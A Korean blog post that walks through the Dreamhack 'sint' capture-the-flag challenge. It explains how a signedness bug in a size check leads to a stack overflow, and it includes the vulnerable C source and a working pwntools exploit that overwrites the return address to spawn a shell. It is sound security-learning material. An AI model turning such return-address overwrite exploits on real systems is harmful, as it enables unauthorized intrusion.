일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | |
7 | 8 | 9 | 10 | 11 | 12 | 13 |
14 | 15 | 16 | 17 | 18 | 19 | 20 |
21 | 22 | 23 | 24 | 25 | 26 | 27 |
28 | 29 | 30 | 31 |
- sd카드 리더기
- rev-basic-5
- rev-basic-3
- CodeEngn
- 코드엔진 베이직 13
- 드림핵
- Dreamhack
- L18
- rev-basic-2
- basic_exploitation_000
- off_by_one_000
- rev-basic-0
- Pwnable
- rev-basic-6
- rev-basic-4
- sint
- rev-basic-1
- L16
- L17
- 포너블
- rev-basic-7
- RCE
- L15
- 코드엔진 베이직
- pwnable.kr
- off_by_one_001
- Basic
- basic_exploitation_001
- out_of_bound
- coin1
- Today
- Total
서브웨이
dreamhack sint 풀이 본문
참고를 보니 정수의 표현범위에 대한 문제로 예상됩니다.
쉘코드와 got 조작은 안됩니다.
소스코드를 봅시다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell()
{
system("/bin/sh");
}
int main()
{
char buf[256];
int size;
initialize();
signal(SIGSEGV, get_shell);
printf("Size: ");
scanf("%d", &size);
if (size > 256 || size < 0)
{
printf("Buffer Overflow!\n");
exit(0);
}
printf("Data: ");
read(0, buf, size - 1);
return 0;
}
사이즈에 해당하는 정수를 입력하고 그 값이 256보다 크지 않고 0보다 작지 않은지를 판단한뒤 그렇다면 사이즈만큼 입력을 받는 그런 예제입니다.
하지만 사이즈 값을 검증하는 부분에 한가지 문제가 존재합니다. 바로 0을 걸러내지 못한다는 점입니다.
그렇게 되면 read 함수에서 -1 만큼 읽어오게 되는데 read 함수에서 받는 세번째 인자는 unsigned 입니다.
https://man7.org/linux/man-pages/man2/read.2.html
read(2) - Linux manual page
read(2) — Linux manual page READ(2) Linux Programmer's Manual READ(2) NAME top read - read from a file descriptor SYNOPSIS top #include ssize_t read(int fd, void *buf, size_t count); DESCRIPTION top read() attempts to
man7.org
따라서 read 함수의 세번째 인자에 -1이 들어온다면 0xffffffff가 unsigned 정수로 인식되어 4,294,967,295라는 값으로 변하게됩니다.
결국 입력값의 크기는 거의 제한이 없어지는 효과를 보게됩니다.
어셈블리코드를 한번 봅시다.
size는 ebp-0x104에, buf는 ebp-0x100에 위치합니다.
canary가 없으니 그냥 SFP를 더미값으로 덮어버리고 RET을 get_shell의 주소로 덮어씌워주면 될것 같습니다.
get_shell의 주소는 0x8048659입니다.
익스플로잇 코드를 짜봅시다.
from pwn import *
p = remote('host1.dreamhack.games', 9943)
elf = ELF('./sint')
shell = elf.symbols['get_shell']
payload = b'A'*260
payload += p32(shell)
p.recvuntil(b'Size: ')
p.sendline(b'0')
p.recvuntil(b'Data: ')
p.send(payload)
p.interactive()
buf와 SFP를 A로 채우고 RET을 get_shell의 주소로 바꿔줍니다.
'Pwnable > dreamhack' 카테고리의 다른 글
dreamhack out_of_bound 풀이 (0) | 2021.07.27 |
---|---|
dreamhack off_by_one_001 풀이 (0) | 2021.07.27 |
dreamhack off_by_one_000 풀이 (0) | 2021.07.27 |
dreamhack welcome 풀이 (0) | 2021.07.20 |
dreamhack basic_exploitation_003 풀이 (0) | 2021.07.20 |